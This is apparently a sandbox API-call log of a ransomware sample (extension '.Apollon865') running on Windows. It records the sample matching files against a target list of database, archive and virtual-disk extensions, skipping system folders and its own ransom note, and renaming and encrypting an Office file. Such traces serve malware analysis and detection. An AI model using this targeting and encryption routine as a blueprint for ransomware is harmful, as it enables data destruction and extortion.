	[0084.212] lstrlenW (lpString="dct") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.212] lstrlenW (lpString="dcx") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.212] lstrlenW (lpString="ddl") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.212] lstrlenW (lpString="dlis") returned 4
	[0084.212] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.212] lstrlenW (lpString="dp1") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.212] lstrlenW (lpString="dqy") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.212] lstrlenW (lpString="dsk") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.212] lstrlenW (lpString="dsn") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.212] lstrlenW (lpString="dtsx") returned 4
	[0084.212] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.212] lstrlenW (lpString="dxl") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.212] lstrlenW (lpString="eco") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.212] lstrlenW (lpString="ecx") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.212] lstrlenW (lpString="edb") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.212] lstrlenW (lpString="epim") returned 4
	[0084.212] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.212] lstrlenW (lpString="fcd") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.212] lstrlenW (lpString="fdb") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.212] lstrlenW (lpString="fic") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.212] lstrlenW (lpString="flexolibrary") returned 12
	[0084.212] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0084.213] lstrlenW (lpString="fm5") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.213] lstrlenW (lpString="fmp") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.213] lstrlenW (lpString="fmp12") returned 5
	[0084.213] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.213] lstrlenW (lpString="fmpsl") returned 5
	[0084.213] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.213] lstrlenW (lpString="fol") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.213] lstrlenW (lpString="fp3") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.213] lstrlenW (lpString="fp4") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.213] lstrlenW (lpString="fp5") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.213] lstrlenW (lpString="fp7") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.213] lstrlenW (lpString="fpt") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.213] lstrlenW (lpString="frm") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.213] lstrlenW (lpString="gdb") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.213] lstrlenW (lpString="gdb") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.213] lstrlenW (lpString="grdb") returned 4
	[0084.213] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.213] lstrlenW (lpString="gwi") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.213] lstrlenW (lpString="hdb") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.213] lstrlenW (lpString="his") returned 3
	[0084.213] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.213] lstrlenW (lpString="ib") returned 2
	[0084.213] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.213] lstrlenW (lpString="idb") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.214] lstrlenW (lpString="ihx") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.214] lstrlenW (lpString="itdb") returned 4
	[0084.214] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.214] lstrlenW (lpString="itw") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.214] lstrlenW (lpString="jet") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.214] lstrlenW (lpString="jtx") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.214] lstrlenW (lpString="kdb") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.214] lstrlenW (lpString="kexi") returned 4
	[0084.214] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.214] lstrlenW (lpString="kexic") returned 5
	[0084.214] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.214] lstrlenW (lpString="kexis") returned 5
	[0084.214] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.214] lstrlenW (lpString="lgc") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.214] lstrlenW (lpString="lwx") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.214] lstrlenW (lpString="maf") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.214] lstrlenW (lpString="maq") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.214] lstrlenW (lpString="mar") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.214] lstrlenW (lpString="marshal") returned 7
	[0084.214] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.214] lstrlenW (lpString="mas") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.214] lstrlenW (lpString="mav") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.214] lstrlenW (lpString="maw") returned 3
	[0084.214] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.215] lstrlenW (lpString="mdbhtml") returned 7
	[0084.215] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.215] lstrlenW (lpString="mdn") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.215] lstrlenW (lpString="mdt") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.215] lstrlenW (lpString="mfd") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.215] lstrlenW (lpString="mpd") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.215] lstrlenW (lpString="mrg") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.215] lstrlenW (lpString="mud") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.215] lstrlenW (lpString="mwb") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.215] lstrlenW (lpString="myd") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.215] lstrlenW (lpString="ndf") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.215] lstrlenW (lpString="nnt") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.215] lstrlenW (lpString="nrmlib") returned 6
	[0084.215] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.215] lstrlenW (lpString="ns2") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.215] lstrlenW (lpString="ns3") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.215] lstrlenW (lpString="ns4") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.215] lstrlenW (lpString="nsf") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.215] lstrlenW (lpString="nv") returned 2
	[0084.215] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.215] lstrlenW (lpString="nv2") returned 3
	[0084.215] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.215] lstrlenW (lpString="nwdb") returned 4
	[0084.215] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.216] lstrlenW (lpString="nyf") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.216] lstrlenW (lpString="odb") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.216] lstrlenW (lpString="odb") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.216] lstrlenW (lpString="oqy") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.216] lstrlenW (lpString="ora") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.216] lstrlenW (lpString="orx") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.216] lstrlenW (lpString="owc") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.216] lstrlenW (lpString="p96") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.216] lstrlenW (lpString="p97") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.216] lstrlenW (lpString="pan") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.216] lstrlenW (lpString="pdb") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.216] lstrlenW (lpString="pdm") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.216] lstrlenW (lpString="pnz") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.216] lstrlenW (lpString="qry") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.216] lstrlenW (lpString="qvd") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.216] lstrlenW (lpString="rbf") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.216] lstrlenW (lpString="rctd") returned 4
	[0084.216] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.216] lstrlenW (lpString="rod") returned 3
	[0084.216] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.216] lstrlenW (lpString="rodx") returned 4
	[0084.216] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.216] lstrlenW (lpString="rpd") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.217] lstrlenW (lpString="rsd") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.217] lstrlenW (lpString="sas7bdat") returned 8
	[0084.217] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.217] lstrlenW (lpString="sbf") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.217] lstrlenW (lpString="scx") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.217] lstrlenW (lpString="sdb") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.217] lstrlenW (lpString="sdc") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.217] lstrlenW (lpString="sdf") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.217] lstrlenW (lpString="sis") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.217] lstrlenW (lpString="spq") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.217] lstrlenW (lpString="te") returned 2
	[0084.217] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.217] lstrlenW (lpString="teacher") returned 7
	[0084.217] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.217] lstrlenW (lpString="tmd") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.217] lstrlenW (lpString="tps") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.217] lstrlenW (lpString="trc") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.217] lstrlenW (lpString="trc") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.217] lstrlenW (lpString="trm") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.217] lstrlenW (lpString="udb") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.217] lstrlenW (lpString="udl") returned 3
	[0084.217] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.218] lstrlenW (lpString="usr") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.218] lstrlenW (lpString="v12") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.218] lstrlenW (lpString="vis") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.218] lstrlenW (lpString="vpd") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.218] lstrlenW (lpString="vvv") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.218] lstrlenW (lpString="wdb") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.218] lstrlenW (lpString="wmdb") returned 4
	[0084.218] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.218] lstrlenW (lpString="wrk") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.218] lstrlenW (lpString="xdb") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.218] lstrlenW (lpString="xld") returned 3
	[0084.218] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.218] lstrlenW (lpString="xmlff") returned 5
	[0084.218] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.218] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.Apollon865") returned 82
	[0084.218] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.219] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.220] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1137504) returned 1
	[0084.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.220] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.221] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.221] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.221] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x115e60, lpName=0x0) returned 0x15c
	[0084.222] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x115e60) returned 0x2bb0000
	[0084.273] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.274] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.274] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.275] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0084.285] CloseHandle (hObject=0x15c) returned 1
	[0084.285] CloseHandle (hObject=0x9c) returned 1
	[0084.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.297] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="..") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="windows") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="temp") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="boot") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.297] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.298] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.298] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.298] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0084.298] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned 71
	[0084.298] lstrcpyW (in: lpString1=0x119e670, lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll"
	[0084.298] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0084.298] lstrlenW (lpString="Apollon865") returned 10
	[0084.298] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.298] lstrlenW (lpString=".dll") returned 4
	[0084.298] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.298] lstrlenW (lpString=".lnk") returned 4
	[0084.298] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.298] lstrlenW (lpString=".ini") returned 4
	[0084.298] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.298] lstrlenW (lpString=".sys") returned 4
	[0084.298] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.298] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0084.298] lstrlenW (lpString="bak") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.298] lstrlenW (lpString="ba_") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.298] lstrlenW (lpString="dbb") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.298] lstrlenW (lpString="vmdk") returned 4
	[0084.298] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.298] lstrlenW (lpString="rar") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.298] lstrlenW (lpString="zip") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.298] lstrlenW (lpString="tgz") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.298] lstrlenW (lpString="vbox") returned 4
	[0084.298] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.298] lstrlenW (lpString="vdi") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.298] lstrlenW (lpString="vhd") returned 3
	[0084.298] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.298] lstrlenW (lpString="vhdx") returned 4
	[0084.299] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.299] lstrlenW (lpString="avhd") returned 4
	[0084.299] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.299] lstrlenW (lpString="db") returned 2
	[0084.299] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.299] lstrlenW (lpString="db2") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.299] lstrlenW (lpString="db3") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.299] lstrlenW (lpString="dbf") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.299] lstrlenW (lpString="mdf") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.299] lstrlenW (lpString="mdb") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.299] lstrlenW (lpString="sql") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.299] lstrlenW (lpString="sqlite") returned 6
	[0084.299] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.299] lstrlenW (lpString="sqlite3") returned 7
	[0084.299] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.299] lstrlenW (lpString="sqlitedb") returned 8
	[0084.299] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.299] lstrlenW (lpString="xml") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.299] lstrlenW (lpString="$er") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.299] lstrlenW (lpString="4dd") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.299] lstrlenW (lpString="4dl") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.299] lstrlenW (lpString="^^^") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.299] lstrlenW (lpString="abs") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.299] lstrlenW (lpString="abx") returned 3
	[0084.299] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.299] lstrlenW (lpString="accdb") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.300] lstrlenW (lpString="accdc") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.300] lstrlenW (lpString="accde") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.300] lstrlenW (lpString="accdr") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.300] lstrlenW (lpString="accdt") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.300] lstrlenW (lpString="accdw") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.300] lstrlenW (lpString="accft") returned 5
	[0084.300] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.300] lstrlenW (lpString="adb") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.300] lstrlenW (lpString="adb") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.300] lstrlenW (lpString="ade") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.300] lstrlenW (lpString="adf") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.300] lstrlenW (lpString="adn") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.300] lstrlenW (lpString="adp") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.300] lstrlenW (lpString="alf") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.300] lstrlenW (lpString="ask") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.300] lstrlenW (lpString="btr") returned 3
